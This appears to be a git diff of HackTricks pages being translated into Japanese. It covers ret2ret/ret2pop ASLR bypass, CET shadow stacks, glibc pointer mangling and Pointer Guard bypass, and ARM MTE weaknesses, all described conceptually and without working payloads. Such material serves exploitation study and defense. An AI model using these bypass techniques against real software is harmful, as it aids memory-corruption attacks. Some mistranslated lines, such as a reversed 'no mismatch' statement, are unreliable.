../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md index 19f39dac3..f423d2a27 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md @@ -4,27 +4,27 @@ ## Ret2ret -The main **goal** of this technique is to try to **bypass ASLR by abusing an existing pointer in the stack**. +この技術の主な**目的**は、**スタック内の既存のポインタを悪用してASLRをバイパスしようとすること**です。 -Basically, stack overflows are usually caused by strings, and **strings end with a null byte at the end** in memory. This allows to try to reduce the place pointed by na existing pointer already existing n the stack. So if the stack contained `0xbfffffdd`, this overflow could transform it into `0xbfffff00` (note the last zeroed byte). +基本的に、スタックオーバーフローは通常文字列によって引き起こされ、**文字列はメモリ内の最後にヌルバイトで終わります**。これにより、スタック内に既に存在するポインタが指す場所を減らすことができます。したがって、スタックに`0xbfffffdd`が含まれている場合、このオーバーフローはそれを`0xbfffff00`に変えることができます(最後のゼロバイトに注意)。 -If that address points to our shellcode in the stack, it's possible to make the flow reach that address by **adding addresses to the `ret` instruction** util this one is reached. +そのアドレスがスタック内のシェルコードを指している場合、**`ret`命令にアドレスを追加することでそのアドレスにフローを到達させる**ことが可能です。 -Therefore the attack would be like this: +したがって、攻撃は次のようになります: -- NOP sled -- Shellcode -- Overwrite the stack from the EIP with **addresses to `ret`** (RET sled) -- 0x00 added by the string modifying an address from the stack making it point to the NOP sled +- NOPスレッド +- シェルコード +- **`ret`へのアドレスでEIPからスタックを上書きする**(RETスレッド) +- スタックのアドレスを指すようにするために文字列によって追加された0x00 -Following [**this link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) you can see an example of a vulnerable binary and [**in this one**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) the exploit. +[**このリンク**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c)を参照すると、脆弱なバイナリの例を見ることができ、[**こちら**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c)ではエクスプロイトを見ることができます。 ## Ret2pop -In case you can find a **perfect pointer in the stack that you don't want to modify** (in `ret2ret` we changes the final lowest byte to `0x00`), you can perform the same `ret2ret` attack, but the **length of the RET sled must be shorted by 1** (so the final `0x00` overwrites the data just before the perfect pointer), and the **last** address of the RET sled must point to **`pop ; ret`**.\ -This way, the **data before the perfect pointer will be removed** from the stack (this is the data affected by the `0x00`) and the **final `ret` will point to the perfect address** in the stack without any change. +**変更したくないスタック内の完璧なポインタを見つけた場合**(`ret2ret`では最終的な最下位バイトを`0x00`に変更します)、同じ`ret2ret`攻撃を実行できますが、**RETスレッドの長さは1短くする必要があります**(そのため、最終的な`0x00`が完璧なポインタの直前のデータを上書きします)、そして**RETスレッドの最後の**アドレスは**`pop ; ret`**を指す必要があります。\ +このようにして、**完璧なポインタの前のデータがスタックから削除されます**(これは`0x00`によって影響を受けるデータです)し、**最終的な`ret`はスタック内の完璧なアドレスを指します**。 -Following [**this link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) you can see an example of a vulnerable binary and [**in this one** ](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c)the exploit. +[**このリンク**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c)を参照すると、脆弱なバイナリの例を見ることができ、[**こちら**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c)ではエクスプロイトを見ることができます。 ## References diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md b/src/binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md index 22e1edbc2..5f6dfee10 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md @@ -4,22 +4,22 @@ ## Control Flow Enforcement Technology (CET) -**CET** is a security feature implemented at the hardware level, designed to thwart common control-flow hijacking attacks such as **Return-Oriented Programming (ROP)** and **Jump-Oriented Programming (JOP)**. These types of attacks manipulate the execution flow of a program to execute malicious code or to chain together pieces of benign code in a way that performs a malicious action. +**CET**は、**Return-Oriented Programming (ROP)**や**Jump-Oriented Programming (JOP)**などの一般的な制御フロー乗っ取り攻撃を防ぐために設計された、ハードウェアレベルで実装されたセキュリティ機能です。これらの攻撃は、プログラムの実行フローを操作して悪意のあるコードを実行したり、無害なコードの断片を連結して悪意のあるアクションを実行させたりします。 -CET introduces two main features: **Indirect Branch Tracking (IBT)** and **Shadow Stack**. +CETは、**間接分岐追跡 (IBT)**と**シャドウスタック**の2つの主要な機能を導入します。 -- **IBT** ensures that indirect jumps and calls are made to valid targets, which are marked explicitly as legal destinations for indirect branches. This is achieved through the use of a new instruction set that marks valid targets, thus preventing attackers from diverting the control flow to arbitrary locations. -- **Shadow Stack** is a mechanism that provides integrity for return addresses. It keeps a secured, hidden copy of return addresses separate from the regular call stack. When a function returns, the return address is validated against the shadow stack, preventing attackers from overwriting return addresses on the stack to hijack the control flow. +- **IBT**は、間接ジャンプやコールが有効なターゲットに対して行われることを保証します。これは、間接分岐の合法的な宛先として明示的にマークされた有効なターゲットを使用する新しい命令セットを通じて実現され、攻撃者が制御フローを任意の場所に逸脱させるのを防ぎます。 +- **シャドウスタック**は、戻りアドレスの整合性を提供するメカニズムです。通常のコールスタックとは別に、戻りアドレスの安全で隠れたコピーを保持します。関数が戻るとき、戻りアドレスはシャドウスタックと照合され、攻撃者がスタック上の戻りアドレスを上書きして制御フローを乗っ取るのを防ぎます。 -## Shadow Stack +## シャドウスタック -The **shadow stack** is a **dedicated stack used solely for storing return addresses**. It works alongside the regular stack but is protected and hidden from normal program execution, making it difficult for attackers to tamper with. The primary goal of the shadow stack is to ensure that any modifications to return addresses on the conventional stack are detected before they can be used, effectively mitigating ROP attacks. +**シャドウスタック**は、**戻りアドレスを格納するためだけに使用される専用のスタック**です。通常のスタックと連携して機能しますが、通常のプログラム実行から保護され、隠されているため、攻撃者が改ざんするのが難しくなっています。シャドウスタックの主な目的は、従来のスタック上の戻りアドレスに対する変更が使用される前に検出されることを保証し、ROP攻撃を効果的に軽減することです。 -## How CET and Shadow Stack Prevent Attacks +## CETとシャドウスタックが攻撃を防ぐ方法 -**ROP and JOP attacks** rely on the ability to hijack the control flow of an application by leveraging vulnerabilities that allow them to overwrite pointers or return addresses on the stack. By directing the flow to sequences of existing code gadgets or return-oriented programming gadgets, attackers can execute arbitrary code. +**ROPおよびJOP攻撃**は、スタック上のポインタや戻りアドレスを上書きする脆弱性を利用して、アプリケーションの制御フローを乗っ取る能力に依存しています。攻撃者は、既存のコードガジェットやリターン指向プログラミングガジェットのシーケンスにフローを誘導することで、任意のコードを実行できます。 -- **CET's IBT** feature makes these attacks significantly harder by ensuring that indirect branches can only jump to addresses that have been explicitly marked as valid targets. This makes it impossible for attackers to execute arbitrary gadgets spread across the binary. -- The **shadow stack**, on the other hand, ensures that even if an attacker can overwrite a return address on the normal stack, the **discrepancy will be detected** when comparing the corrupted address with the secure copy stored in the shadow stack upon returning from a function. If the addresses don't match, the program can terminate or take other security measures, preventing the attack from succeeding. +- **CETのIBT**機能は、間接分岐が明示的に有効なターゲットとしてマークされたアドレスにのみジャンプできることを保証することで、これらの攻撃を大幅に困難にします。これにより、攻撃者がバイナリ全体に広がる任意のガジェットを実行することが不可能になります。 +- 一方、**シャドウスタック**は、攻撃者が通常のスタック上の戻りアドレスを上書きできた場合でも、関数から戻る際に破損したアドレスとシャドウスタックに保存された安全なコピーを比較することで**不一致が検出される**ことを保証します。アドレスが一致しない場合、プログラムは終了するか、他のセキュリティ対策を講じることができ、攻撃の成功を防ぎます。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md b/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md index cacfd7f2f..9dc5d3b85 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md @@ -2,81 +2,81 @@ {{#include ../../banners/hacktricks-training.md}} -## Chunk Alignment Enforcement +## チャンクアライメントの強制 -**Malloc** allocates memory in **8-byte (32-bit) or 16-byte (64-bit) groupings**. This means the end of chunks in 32-bit systems should align with **0x8**, and in 64-bit systems with **0x0**. The security feature checks that each chunk **aligns correctly** at these specific locations before using a pointer from a bin. +**Malloc**は**8バイト(32ビット)または16バイト(64ビット)のグループ**でメモリを割り当てます。これは、32ビットシステムではチャンクの終わりが**0x8**に整列し、64ビットシステムでは**0x0**に整列する必要があることを意味します。このセキュリティ機能は、ポインタをビンから使用する前に、各チャンクがこれらの特定の位置で**正しく整列しているか**をチェックします。 -### Security Benefits +### セキュリティの利点 -The enforcement of chunk alignment in 64-bit systems significantly enhances Malloc's security by **limiting the placement of fake chunks to only 1 out of every 16 addresses**. This complicates exploitation efforts, especially in scenarios where the user has limited control over input values, making attacks more complex and harder to execute successfully. +64ビットシステムにおけるチャンクアライメントの強制は、**偽のチャンクの配置を16アドレスごとに1つに制限することによって、Mallocのセキュリティを大幅に向上させます**。これにより、特にユーザーが入力値を制限された状況での攻撃が複雑になり、成功させるのが難しくなります。 -- **Fastbin Attack on \_\_malloc_hook** +- **\_\_malloc_hookに対するファストビン攻撃** -The new alignment rules in Malloc also thwart a classic attack involving the `__malloc_hook`. Previously, attackers could manipulate chunk sizes to **overwrite this function pointer** and gain **code execution**. Now, the strict alignment requirement ensures that such manipulations are no longer viable, closing a common exploitation route and enhancing overall security. +Mallocの新しいアライメントルールは、`__malloc_hook`に関する古典的な攻撃も阻止します。以前は、攻撃者はチャンクサイズを操作して**この関数ポインタを上書きし、**コード実行**を得ることができました。現在、厳格なアライメント要件により、そのような操作はもはや実行可能ではなくなり、一般的な悪用経路が閉じられ、全体的なセキュリティが向上します。 -## Pointer Mangling on fastbins and tcache +## ファストビンとtcacheにおけるポインタのマングリング -**Pointer Mangling** is a security enhancement used to protect **fastbin and tcache Fd pointers** in memory management operations. This technique helps prevent certain types of memory exploit tactics, specifically those that do not require leaked memory information or that manipulate memory locations directly relative to known positions (relative **overwrites**). +**ポインタのマングリング**は、メモリ管理操作において**ファストビンおよびtcache Fdポインタ**を保護するために使用されるセキュリティ強化です。この技術は、特に漏洩したメモリ情報を必要としない、または既知の位置に対してメモリ位置を直接操作するタイプのメモリ悪用戦術を防ぐのに役立ちます(相対的な**上書き**)。 -The core of this technique is an obfuscation formula: +この技術の核心は、難読化の公式です: **`New_Ptr = (L >> 12) XOR P`** -- **L** is the **Storage Location** of the pointer. -- **P** is the actual **fastbin/tcache Fd Pointer**. +- **L**はポインタの**ストレージ位置**です。 +- **P**は実際の**ファストビン/tcache Fdポインタ**です。 -The reason for the bitwise shift of the storage location (L) by 12 bits to the right before the XOR operation is critical. This manipulation addresses a vulnerability inherent in the deterministic nature of the least significant 12 bits of memory addresses, which are typically predictable due to system architecture constraints. By shifting the bits, the predictable portion is moved out of the equation, enhancing the randomness of the new, mangled pointer and thereby safeguarding against exploits that rely on the predictability of these bits. +ストレージ位置(L)を右に12ビットシフトする理由は重要です。この操作は、メモリアドレスの最下位12ビットの決定論的な性質に内在する脆弱性に対処します。これらのビットは、システムアーキテクチャの制約により通常予測可能です。ビットをシフトすることで、予測可能な部分が方程式から外れ、新しいマングルされたポインタのランダム性が向上し、これらのビットの予測可能性に依存する悪用から保護されます。 -This mangled pointer leverages the existing randomness provided by **Address Space Layout Randomization (ASLR)**, which randomizes addresses used by programs to make it difficult for attackers to predict the memory layout of a process. +このマングルされたポインタは、プログラムが使用するアドレスをランダム化する**アドレス空間配置ランダム化(ASLR)**によって提供される既存のランダム性を活用します。 -**Demangling** the pointer to retrieve the original address involves using the same XOR operation. Here, the mangled pointer is treated as P in the formula, and when XORed with the unchanged storage location (L), it results in the original pointer being revealed. This symmetry in mangling and demangling ensures that the system can efficiently encode and decode pointers without significant overhead, while substantially increasing security against attacks that manipulate memory pointers. +ポインタを元のアドレスに戻すための**デマングリング**は、同じXOR操作を使用します。ここでは、マングルされたポインタが公式のPとして扱われ、変更されていないストレージ位置(L)とXORされると、元のポインタが明らかになります。このマングリングとデマングリングの対称性により、システムは大きなオーバーヘッドなしにポインタを効率的にエンコードおよびデコードでき、メモリポインタを操作する攻撃に対するセキュリティが大幅に向上します。 -### Security Benefits +### セキュリティの利点 -Pointer mangling aims to **prevent partial and full pointer overwrites in heap** management, a significant enhancement in security. This feature impacts exploit techniques in several ways: +ポインタのマングリングは、ヒープ管理における**部分的および完全なポインタの上書きを防ぐ**ことを目的としており、セキュリティの大幅な向上です。この機能は、いくつかの方法で悪用技術に影響を与えます: -1. **Prevention of Bye Byte Relative Overwrites**: Previously, attackers could change part of a pointer to **redirect heap chunks to different locations without knowing exact addresses**, a technique evident in the leakless **House of Roman** exploit. With pointer mangling, such relative overwrites **without a heap leak now require brute forcing**, drastically reducing their likelihood of success. -2. **Increased Difficulty of Tcache Bin/Fastbin Attacks**: Common attacks that overwrite function pointers (like `__malloc_hook`) by manipulating fastbin or tcache entries are hindered. For example, an attack might involve leaking a LibC address, freeing a chunk into the tcache bin, and then overwriting the Fd pointer to redirect it to `__malloc_hook` for arbitrary code execution. With pointer mangling, these pointers must be correctly mangled, **necessitating a heap leak for accurate manipulation**, thereby elevating the exploitation barrier. -3. **Requirement for Heap Leaks in Non-Heap Locations**: Creating a fake chunk in non-heap areas (like the stack, .bss section, or PLT/GOT) now also **requires a heap leak** due to the need for pointer mangling. This extends the complexity of exploiting these areas, similar to the requirement for manipulating LibC addresses. -4. **Leaking Heap Addresses Becomes More Challenging**: Pointer mangling restricts the usefulness of Fd pointers in fastbin and tcache bins as sources for heap address leaks. However, pointers in unsorted, small, and large bins remain unmangled, thus still usable for leaking addresses. This shift pushes attackers to explore these bins for exploitable information, though some techniques may still allow for demangling pointers before a leak, albeit with constraints. +1. **バイト相対的上書きの防止**:以前は、攻撃者はポインタの一部を変更して**ヒープチャンクを異なる位置にリダイレクトすることができました**が、ポインタのマングリングにより、そのような相対的上書きは**ヒープリークなしではブルートフォースを必要とし**、成功の可能性が大幅に減少します。 +2. **tcacheビン/ファストビン攻撃の難易度の増加**:ファストビンまたはtcacheエントリを操作して関数ポインタ(`__malloc_hook`など)を上書きする一般的な攻撃が妨げられます。たとえば、攻撃はLibCアドレスを漏洩させ、チャンクをtcacheビンに解放し、Fdポインタを上書きして`__malloc_hook`にリダイレクトして任意のコード実行を行うことが含まれるかもしれません。ポインタのマングリングにより、これらのポインタは正しくマングルされる必要があり、**正確な操作にはヒープリークが必要**となり、悪用の障壁が高まります。 +3. **非ヒープ位置でのヒープリークの必要性**:スタック、.bssセクション、PLT/GOTなどの非ヒープ領域に偽のチャンクを作成することも、ポインタのマングリングの必要性から**ヒープリークを必要とします**。これは、LibCアドレスを操作するための要件と同様に、これらの領域を悪用する複雑さを拡張します。 +4. **ヒープアドレスの漏洩がより困難になる**:ポインタのマングリングは、ファストビンおよびtcacheビンにおけるFdポインタの有用性を制限しますが、未ソート、小、大のビンのポインタはマングルされていないため、アドレスを漏洩させるために引き続き使用可能です。このシフトにより、攻撃者は悪用可能な情報を探すためにこれらのビンを探索する必要がありますが、一部の技術では、制約があるものの、リークの前にポインタをデマングルすることができるかもしれません。 -### **Demangling Pointers with a Heap Leak** +### **ヒープリークを使用したポインタのデマングリング** > [!CAUTION] -> For a better explanation of the process [**check the original post from here**](https://maxwelldulin.com/BlogPost?post=5445977088). +> プロセスのより良い説明については、[**こちらの元の投稿を確認してください**](https://maxwelldulin.com/BlogPost?post=5445977088)。 -### Algorithm Overview +### アルゴリズムの概要 -The formula used for mangling and demangling pointers is: +ポインタのマングリングとデマングリングに使用される公式は: **`New_Ptr = (L >> 12) XOR P`** -Where **L** is the storage location and **P** is the Fd pointer. When **L** is shifted right by 12 bits, it exposes the most significant bits of **P**, due to the nature of **XOR**, which outputs 0 when bits are XORed with themselves. +ここで**L**はストレージ位置、**P**はFdポインタです。**L**が12ビット右にシフトされると、**P**の最上位ビットが露出します。これは、**XOR**の性質により、ビットが自分自身とXORされると0を出力するためです。 -**Key Steps in the Algorithm:** +**アルゴリズムの主要なステップ:** -1. **Initial Leak of the Most Significant Bits**: By XORing the shifted **L** with **P**, you effectively get the top 12 bits of **P** because the shifted portion of **L** will be zero, leaving **P's** corresponding bits unchanged. -2. **Recovery of Pointer Bits**: Since XOR is reversible, knowing the result and one of the operands allows you to compute the other operand. This property is used to deduce the entire set of bits for **P** by successively XORing known sets of bits with parts of the mangled pointer. -3. **Iterative Demangling**: The process is repeated, each time using the newly discovered bits of **P** from the previous step to decode the next segment of the mangled pointer, until all bits are recovered. -4. **Handling Deterministic Bits**: The final 12 bits of **L** are lost due to the shift, but they are deterministic and can be reconstructed post-process. +1. **最上位ビットの初期リーク**:シフトされた**L**と**P**をXORすることにより、**P**の上位12ビットを効果的に取得します。シフトされた部分の**L**はゼロになるため、**P**の対応するビットは変更されません。 +2. **ポインタビットの回復**:XORは可逆的であるため、結果とオペランドの1つを知っていれば、他のオペランドを計算できます。この特性を利用して、マングルされたポインタの部分と既知のビットセットを順次XORすることで、**P**のビット全体を推測します。 +3. **反復デマングリング**:このプロセスは繰り返され、各回で前のステップから得られた**P**の新たに発見されたビットを使用して、マングルされたポインタの次のセグメントをデコードします。すべてのビットが回復されるまで続けます。 +4. **決定論的ビットの処理**:**L**の最終的な12ビットはシフトにより失われますが、これらは決定論的であり、プロセス後に再構築できます。 -You can find an implementation of this algorithm here: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle) +このアルゴリズムの実装は、こちらで見つけることができます:[https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle) -## Pointer Guard +## ポインターガード -Pointer guard is an exploit mitigation technique used in glibc to protect stored function pointers, particularly those registered by library calls such as `atexit()`. This protection involves scrambling the pointers by XORing them with a secret stored in the thread data (`fs:0x30`) and applying a bitwise rotation. This mechanism aims to prevent attackers from hijacking control flow by overwriting function pointers. +ポインターガードは、glibcで使用される悪用緩和技術で、特に`atexit()`などのライブラリ呼び出しによって登録された関数ポインタを保護します。この保護は、ポインタをスクリューブラシで混乱させ、スレッドデータ(`fs:0x30`)に保存された秘密とXORし、ビット単位の回転を適用することを含みます。このメカニズムは、攻撃者が関数ポインタを上書きすることによって制御フローをハイジャックするのを防ぐことを目的としています。 -### **Bypassing Pointer Guard with a leak** +### **リークを使用したポインターガードのバイパス** -1. **Understanding Pointer Guard Operations:** The scrambling (mangling) of pointers is done using the `PTR_MANGLE` macro which XORs the pointer with a 64-bit secret and then performs a left rotation of 0x11 bits. The reverse operation for recovering the original pointer is handled by `PTR_DEMANGLE`. -2. **Attack Strategy:** The attack is based on a known-plaintext approach, where the attacker needs to know both the original and the mangled versions of a pointer to deduce the secret used for mangling. -3. **Exploiting Known Plaintexts:** - - **Identifying Fixed Function Pointers:** By examining glibc source code or initialized function pointer tables (like `__libc_pthread_functions`), an attacker can find predictable function pointers. - - **Computing the Secret:** Using a known function pointer such as `__pthread_attr_destroy` and its mangled version from the function pointer table, the secret can be calculated by reverse rotating (right rotation) the mangled pointer and then XORing it with the address of the function. -4. **Alternative Plaintexts:** The attacker can also experiment with mangling pointers with known values like 0 or -1 to see if these produce identifiable patterns in memory, potentially revealing the secret when these patterns are found in memory dumps. -5. **Practical Application:** After computing the secret, an attacker can manipulate pointers in a controlled manner, essentially bypassing the Pointer Guard protection in a multithreaded application with knowledge of the libc base address and an ability to read arbitrary memory locations. +1. **ポインターガード操作の理解**:ポインタのスクリューブラシ(マングリング)は、64ビットの秘密とXORし、0x11ビットの左回転を行う`PTR_MANGLE`マクロを使用して行われます。元のポインタを回復するための逆操作は`PTR_DEMANGLE`によって処理されます。 +2. **攻撃戦略**:攻撃は、攻撃者がポインタの元のバージョンとマングルされたバージョンの両方を知る必要がある既知の平文アプローチに基づいています。 +3. **既知の平文を悪用する**: +- **固定関数ポインタの特定**:glibcのソースコードや初期化された関数ポインタテーブル(`__libc_pthread_functions`など)を調べることで、攻撃者は予測可能な関数ポインタを見つけることができます。 +- **秘密の計算**:`__pthread_attr_destroy`のような既知の関数ポインタと関数ポインタテーブルからのそのマングルされたバージョンを使用して、マングルされたポインタを逆回転(右回転)し、関数のアドレスとXORすることで秘密を計算できます。 +4. **代替平文**:攻撃者は、0や-1のような既知の値でポインタをマングルして、これらがメモリ内で識別可能なパターンを生成するかどうかを確認することもできます。これにより、メモリダンプ内でこれらのパターンが見つかった場合に秘密が明らかになる可能性があります。 +5. **実用的な応用**:秘密を計算した後、攻撃者は制御された方法でポインタを操作し、libcベースアドレスの知識と任意のメモリ位置を読み取る能力を持って、マルチスレッドアプリケーションにおけるポインターガード保護を実質的にバイパスできます。 -## References +## 参考文献 - [https://maxwelldulin.com/BlogPost?post=5445977088](https://maxwelldulin.com/BlogPost?post=5445977088) - [https://blog.infosectcbr.com.au/2020/04/bypassing-pointer-guard-in-linuxs-glibc.html?m=1](https://blog.infosectcbr.com.au/2020/04/bypassing-pointer-guard-in-linuxs-glibc.html?m=1) diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md b/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md index 43980bbca..c89dc6dd4 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md @@ -1,83 +1,81 @@ -# Memory Tagging Extension (MTE) +# メモリ タギング拡張 (MTE) {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -**Memory Tagging Extension (MTE)** is designed to enhance software reliability and security by **detecting and preventing memory-related errors**, such as buffer overflows and use-after-free vulnerabilities. MTE, as part of the **ARM** architecture, provides a mechanism to attach a **small tag to each memory allocation** and a **corresponding tag to each pointer** referencing that memory. This approach allows for the detection of illegal memory accesses at runtime, significantly reducing the risk of exploiting such vulnerabilities for executing arbitrary code. +**メモリ タギング拡張 (MTE)** は、**バッファオーバーフローや使用後の解放脆弱性**などのメモリ関連エラーを**検出および防止する**ことで、ソフトウェアの信頼性とセキュリティを向上させるように設計されています。MTEは、**ARM**アーキテクチャの一部として、**各メモリ割り当てに小さなタグを付ける**メカニズムと、そのメモリを参照する**各ポインタに対応するタグを付ける**メカニズムを提供します。このアプローチにより、実行時に不正なメモリアクセスを検出でき、任意のコードを実行するための脆弱性を悪用するリスクが大幅に低減されます。 -### **How Memory Tagging Extension Works** +### **メモリ タギング拡張の動作方法** -MTE operates by **dividing memory into small, fixed-size blocks, with each block assigned a tag,** typically a few bits in size. +MTEは、**メモリを小さな固定サイズのブロックに分割し、各ブロックにタグを割り当てる**ことによって動作します。通常、タグは数ビットのサイズです。 -When a pointer is created to point to that memory, it gets the same tag. This tag is stored in the **unused bits of a memory pointer**, effectively linking the pointer to its corresponding memory block. +ポインタがそのメモリを指すように作成されると、同じタグが付与されます。このタグは、**メモリポインタの未使用ビットに保存され**、ポインタを対応するメモリブロックに効果的にリンクします。

https://www.youtube.com/watch?v=UwMt0e_dC_Q

-When a program accesses memory through a pointer, the MTE hardware checks that the **pointer's tag matches the memory block's tag**. If the tags **do not match**, it indicates an **illegal memory access.** +プログラムがポインタを介してメモリにアクセスすると、MTEハードウェアは**ポインタのタグがメモリブロックのタグと一致するかどうかを確認します**。タグが**一致しない場合**、それは**不正なメモリアクセス**を示します。 -### MTE Pointer Tags +### MTEポインタタグ -Tags inside a pointer are stored in 4 bits inside the top byte: +ポインタ内のタグは、上位バイトの4ビットに保存されます:

https://www.youtube.com/watch?v=UwMt0e_dC_Q

-Therefore, this allows up to **16 different tag values**. +したがって、**16の異なるタグ値**を持つことができます。 -### MTE Memory Tags +### MTEメモリタグ -Every **16B of physical memory** have a corresponding **memory tag**. +すべての**16Bの物理メモリ**には、対応する**メモリタグ**があります。 -The memory tags are stored in a **dedicated RAM region** (not accessible for normal usage). Having 4bits tags for every 16B memory tags up to 3% of RAM. - -ARM introduces the following instructions to manipulate these tags in the dedicated RAM memory: +メモリタグは、**専用のRAM領域**に保存され(通常の使用ではアクセスできません)、16Bのメモリタグごとに4ビットのタグを持ち、最大でRAMの3%を占めます。 +ARMは、専用のRAMメモリ内でこれらのタグを操作するために、次の命令を導入します: ``` STG [], # Store Allocation (memory) Tag LDG , [] Load Allocatoin (memory) Tag IRG , Insert Random [pointer] Tag ... ``` +## チェックモード -## Checking Modes +### 同期 -### Sync +CPUは**命令実行中に**タグをチェックし、一致しない場合は例外を発生させます。\ +これは最も遅く、最も安全です。 -The CPU check the tags **during the instruction executing**, if there is a mismatch, it raises an exception.\ -This is the slowest and most secure. +### 非同期 -### Async +CPUは**非同期に**タグをチェックし、一致しない場合はシステムレジスタの1つに例外ビットを設定します。これは前のものより**速い**ですが、一致しない原因となる正確な命令を**特定できず**、例外を即座に発生させず、攻撃者に攻撃を完了する時間を与えます。 -The CPU check the tags **asynchronously**, and when a mismatch is found it sets an exception bit in one of the system registers. It's **faster** than the previous one but it's **unable to point out** the exact instruction that cause the mismatch and it doesn't raise the exception immediately, giving some time to the attacker to complete his attack. - -### Mixed +### 混合 ??? -## Implementation & Detection Examples +## 実装と検出の例 -Called Hardware Tag-Based KASAN, MTE-based KASAN or in-kernel MTE.\ -The kernel allocators (like `kmalloc`) will **call this module** which will prepare the tag to use (randomly) attach it to the kernel space allocated and to the returned pointer. +ハードウェアタグベースのKASAN、MTEベースのKASAN、またはカーネル内MTEと呼ばれます。\ +カーネルアロケータ(`kmalloc`など)は、このモジュールを**呼び出し**、使用するタグを準備し(ランダムに)、カーネル空間に割り当てられたものと返されたポインタに付加します。 -Note that it'll **only mark enough memory granules** (16B each) for the requested size. So if the requested size was 35 and a slab of 60B was given, it'll mark the first 16\*3 = 48B with this tag and the **rest** will be **marked** with a so-called **invalid tag (0xE)**. +要求されたサイズに対して**十分なメモリグラニュール**(各16B)のみを**マーク**することに注意してください。したがって、要求されたサイズが35で、60Bのスラブが与えられた場合、最初の16\*3 = 48Bがこのタグでマークされ、**残り**は**無効なタグ(0xE)**で**マーク**されます。 -The tag **0xF** is the **match all pointer**. A memory with this pointer allows **any tag to be used** to access its memory (no mismatches). This could prevent MET from detecting an attack if this tags is being used in the attacked memory. +タグ**0xF**は**すべてのポインタに一致**します。このポインタを持つメモリは、**任意のタグを使用して**そのメモリにアクセスすることを許可します(一致しません)。これは、攻撃されたメモリでこのタグが使用されている場合、METが攻撃を検出するのを防ぐ可能性があります。 -Therefore there are only **14 value**s that can be used to generate tags as 0xE and 0xF are reserved, giving a probability of **reusing tags** to 1/17 -> around **7%**. +したがって、0xEと0xFが予約されているため、タグを生成するために使用できるのは**14の値**のみであり、タグの**再利用の確率**は1/17 -> 約**7%**です。 -If the kernel access to the **invalid tag granule**, the **mismatch** will be **detected**. If it access another memory location, if the **memory has a different tag** (or the invalid tag) the mismatch will be **detected.** If the attacker is lucky and the memory is using the same tag, it won't be detected. Chances are around 7% +カーネルが**無効なタググラニュール**にアクセスすると、**不一致**が**検出**されます。別のメモリ位置にアクセスした場合、**メモリが異なるタグ**(または無効なタグ)を持っていると、不一致が**検出**されます。攻撃者が運が良く、メモリが同じタグを使用している場合、検出されません。確率は約7%です。 -Another bug occurs in the **last granule** of the allocated memory. If the application requested 35B, it was given the granule from 32 to 48. Therefore, the **bytes from 36 til 47 are using the same tag** but they weren't requested. If the attacker access **these extra bytes, this isn't detected**. +もう1つのバグは、割り当てられたメモリの**最後のグラニュール**で発生します。アプリケーションが35Bを要求した場合、32から48のグラニュールが与えられました。したがって、**36から47のバイトは同じタグを使用しています**が、要求されていません。攻撃者が**これらの追加バイトにアクセスすると、これは検出されません**。 -When **`kfree()`** is executed, the memory is retagged with the invalid memory tag, so in a **use-after-free**, when the memory is accessed again, the **mismatch is detected**. +**`kfree()`**が実行されると、メモリは無効なメモリタグで再タグ付けされるため、**use-after-free**の際にメモリに再度アクセスすると、**不一致が検出**されます。 -However, in a use-after-free, if the same **chunk is reallocated again with the SAME tag** as previously, an attacker will be able to use this access and this won't be detected (around 7% chance). +ただし、use-after-freeの場合、同じ**チャンクが以前と同じタグで再割り当て**されると、攻撃者はこのアクセスを利用でき、これは検出されません(約7%の確率)。 -Moreover, only **`slab` and `page_alloc`** uses tagged memory but in the future this will also be used in `vmalloc`, `stack` and `globals` (at the moment of the video these can still be abused). +さらに、**`slab`と`page_alloc`**のみがタグ付きメモリを使用しますが、将来的には`vmalloc`、`stack`、および`globals`でも使用される予定です(ビデオの時点では、これらはまだ悪用可能です)。 -When a **mismatch is detected** the kernel will **panic** to prevent further exploitation and retries of the exploit (MTE doesn't have false positives). +**不一致が検出される**と、カーネルはさらなる悪用とエクスプロイトの再試行を防ぐために**パニック**します(MTEには偽陽性はありません)。 -## 